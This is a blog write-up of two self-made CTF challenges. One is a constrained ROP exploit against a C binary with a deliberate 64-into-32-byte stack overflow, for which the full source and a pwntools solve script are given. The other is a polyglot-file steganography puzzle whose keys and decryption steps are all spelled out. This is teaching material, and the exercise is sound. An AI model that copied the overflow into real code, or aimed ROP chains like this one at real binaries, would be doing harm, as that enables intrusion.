A few years ago, @Drysque @Skerilyo and I decided to start working on a CTF. We wanted to make challenges that are both technical and deeply original from what we saw in the CTFs we were used to participating in.
Here we'll deep dive into 2 of the challenges that stuck in my mind.
Inspector Gadget, a constrained ROP challengeDitto, a polyglot file format steganography challengeThis is one I spent a day doing and am still very proud of.
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *flag;
char key;
void gogo(void)
{
__asm__(
"mov [ r14 ], r15;"
"ret;"
"pop r14;"
"ret;"
"pop rdi;"
"mov rdi, [ rdi ];"
"ret;"
);
}
void first_part(void)
{
int fd = open(".firstpart", O_RDONLY);
char buff[10];
if (fd == -1)
exit(1);
if (read(fd, buff, 10) != 10)
exit(1);
close(fd);
for (int i = 0; i < 10; i += 1)
flag[i] = buff[i] ^ key;
}
void second_part(void)
{
int fd = open(".secondpart", O_RDONLY);
char buff[14];
if (fd == -1)
exit(1);
if (read(fd, buff, 14) != 14)
exit(1);
close(fd);
for (int i = 0; i < 14; i += 1)
flag[i + 10] = buff[i] ^ key;
}
void read_inp(void)
{
char buffer[32];
printf("What is your name ?\n");
read(0, buffer, 64);
printf("your name is %s\n", buffer);
}
int main(void)
{
setlinebuf(stdout);
flag = calloc(25, sizeof(char));
read_inp();
free(flag);
return 0;
}The entrypoint here is obvious:
buffer is 32 bytesread() copies 64The goal is to exploit this buffer overflow to load and reconstruct the flag at runtime.
.firstpart.secondpartkeyflagBut there is a twist.
read_inp() reads 64 bytes into a 32-byte buffer, and RIP is reached after about 40 bytes. So after the overwrite we only get about 24 useful bytes, basically three qwords. That is not enough for the whole exploit.
So the trick is to use read_inp() as a trampoline, we jump to one part of the binary, then come back to the buffer overflow, get 24 new useful bytes, jump to a second part, come back to the buffer overflow, etc.
This is the full flow:
The useful gadgets are all concentrated in gogo():
void gogo(void)
{
__asm__(
"mov [ r14 ], r15;"
"ret;"
"pop r14;"
"ret;"
"pop rdi;"
"mov rdi, [ rdi ];"
"ret;"
);
}They give us a very particular set of primitives:
pop r14 ; retpop r15 ; retmov [r14], r15 ; retpop rdi ; mov rdi, [rdi] ; retWe do get an arbitrary write from there, which is enough to solve the challenge:
r14 = destination
r15 = value
mov [r14], r15We also have an argument loading gadget:
pop rdi
mov rdi, [rdi]
retThis is useful only if we understand that flag is a global pointer.
That is the subtle point:
flag is not the flag bytes themselvesflag is a pointer to a heap bufferputs(flag_contents), we do not want rdi = &flagrdi = *(&flag)And this gadget does exactly that.
The solution was roughly this:
elf = ELF("./challenge", checksec=False)
# how cool is that pwnlib lib, you can just ask it to find your gadget addresses for you, no need to go gdb
gadget_popr14 = get_gadget(elf, ['pop r14', 'ret'])
gadget_popr15 = get_gadget(elf, ['pop r15', 'ret'])
gadget_loadr15inr14 = search_instructions(elf, 'gogo', 'mov QWORD PTR [r14], r15')[0]
gadget_poprdi = search_instructions(elf, 'gogo', 'pop rdi')[0]
vulnerablefunc = p64(elf.symbols.get("read_inp"))
firstpart = p64(elf.symbols.get("first_part"))
secondpart = p64(elf.symbols.get("second_part"))
flag_global = p64(elf.symbols.get("flag"))
key_global = p64(elf.symbols.get("key"))
call_puts = search_instructions(elf, 'read_inp', 'call 0x400')[0]
key_char = p64(ord('%'))
pad = b'p' * 8
buf = b'a' * 40
f = vulnerablefunc
gogo = b''
# write % into key
gogo += buf + gadget_popr14 + key_global + f
gogo += buf + gadget_popr15 + key_char + f
gogo += buf + gadget_loadr15inr14 + f + pad
# reconstruct heap flag
gogo += buf + firstpart + f + pad
gogo += buf + secondpart + f + pad
# Notes: you can see that we kept bouncing back to the overflow with the f jump between each action
# print heap flag
gogo += buf + gadget_poprdi + flag_global + call_putsI love ROP chains, it's so cool to be able to completely change a compiled program's behavior at runtime to your liking even with just tiny overflow space!
Ditto is the other challenge that was very cool. It was developed by @Drysque and we got the inspiration from the awesome work of Ange Albertini.
The build step says almost everything:
cat bash/ditto.sh pdf/ditto.pdf html/ditto.html archive/ditto.zip img/ditto.gnp > final.htmlThat means the final artifact is one byte stream built as:
When you get this challenge, the goal is to find what are the files that are hidden by trying to recognize known headers, and then follow what the challenges are guiding you towards. Each file is a challenge, once fully completed, you get the flag!
When we open the file in the browser, it renders as HTML into a fake Bulbapedia entry for Ditto. That is the part that gives the route. The Obtaining section is not flavor text. It tells us exactly how the challenge wants to be read: first gym, upside-down relic, old man, archives, portable document doors, then Ditto's PC. So the HTML is the dispatcher for the rest of the file.

The file starts as a shell script:
#!/usr/bin/echo No such file or directory:
read key
read relic
assert_eq() { [ "$1" != "$2" ] && exit 1; }
assert_eq `tr -dc '_' <<< "$key" | wc -c` 3
assert_eq ${key:0:1} I
assert_eq `printf '%x\n' "'${key:17:1}"` ${key:12:2}
assert_eq $((${key:20:1}-${key:17:1})) ${key:3:1};M=4M_M4
assert_eq ${key:11:1} `tr '[:lower:]' '[:upper:]'<<<${key:5:1}`
assert_eq `head -c1<<<"printf Ditto"` ${key:2:1}
assert_eq ${#key} `expr "$key" : "[^\I]\{0\}.[\m].\{2\}[\s].\{2\}[\r].\{10\}[\g][^\o]\{0\}[\m]."`
assert_eq ${M/M/m} ${key:13:5}
assert_eq $((${key:6:1}${key:9:1}-${key:12:2})) ${key:3:1}
assert_eq ${key:5:1} ${relic:11:1}
perl -e ' $k=$ARGV[0]; use MIME::Base64; $p=decode_base64($ARGV[1]); print $p ^ $k' $key $relic
exitOnce the HTML tells us to open the relic, the bash part becomes a pure constraint-solving step. The script asks for key and relic, then checks both through a bunch of positional assertions before doing the final decode. tr -dc '_' forces exactly three underscores. ${key:0:1} forces the string to start with I. head -c1<<<"printf Ditto" forces byte 2 to be p, so the beginning already looks like Imp. The two arithmetic checks both collapse onto the same slot and force key[3] = '0'. ${key:11:1} must be the uppercase version of ${key:5:1}, the hex comparison makes bytes 12..13 the hexadecimal encoding of byte 17, and M=4M_M4 then ${M/M/m} pins the slice key[13:18] to 4m_M4. The long expr regex fixes the overall shape, and the final comparison ties one byte of the key back to the relic.
Once all of that is combined, the intended values are:
key="Imp0st3r_4_T34m_M4gm4"
relic='I_l0v3_Br0di3'The builder shows the exact transform that was used:
perl -e '$p=$ARGV[0]; $k=$ARGV[1]; use MIME::Base64; print encode_base64($p ^ $k)' $1 $2So the solve is to recover key, keep relic = I_l0v3_Br0di3, then invert the base64+XOR step from craft.sh.
Inside the embedded archive, we get browser leftovers including a heap snapshot, and there is also a heap.html file containing CryptoJS logic:
var decryptedBytes = CryptoJS.AES.decrypt(
"U2FsdGVkX18vwaWOf5ojX/vnOm60pmSDIFUGsgRQybsLfJ8ePdorcxSMcUjyXkW0",
"I_l0v3_Br0di3"
);
console.log(formatFlag(decryptedBytes.toString(CryptoJS.enc.Utf8)));The ZIP step is where the PC hint from the wiki page starts to make sense. We carve the PK\x03\x04 header out of the polyglot, extract the archive, and look at the browser leftovers. The archive contains ditto/PC.heapsnapshot, and heap.html contains the decrypt code directly. At that point the link with the bash stage becomes explicit: the AES password is the same relic, I_l0v3_Br0di3. Running that CryptoJS decrypt yields the next material.
The PDF is the "portable document doors" step from the HTML route. It has two pages: the Archives door photo, and an EasyEDA schematic named DoorLock exposing a logic-gate decoding challenge.


The last embedded file is not a normal PNG on disk. It is stored as ditto.gnp.
The last step is solved by looking at the bytes instead of the extension. ditto.gnp is a PNG written backwards. It starts with DNEI and ends with reversed GNP\x89, which makes the trick obvious once we inspect the blob directly. So the solution there is simply to reverse the full byte stream and write it back out as a normal PNG. The recovered file is hidden.png.
This stage is artifact recovery, not the main flag reveal. The explicit PoC{...} material comes from the archive stage through heap.html and the AES decrypt with I_l0v3_Br0di3. The image stage just gives us the final hidden picture cleanly.

Even outside those two, this CTF had multiple cool challenges:
ReversePolymorph was a nice introduction to self-modifying binaries without making the whole thing unreadable. One challenge hides the key in an ELF section. Another one forces us to observe code after it rewrites itself in memory.
ReversePcap was also a good one because it mixed reversing with traffic analysis in a natural way: reverse the sender, understand the crypto, then identify and decrypt the interesting packets in the capture.
ShadowLayer: the model works, but the flag is simply encoded in the weights of a hidden linear layer.
PoCtf never properly happened because of timing issues, but if you want to give it a try, here are the challenges: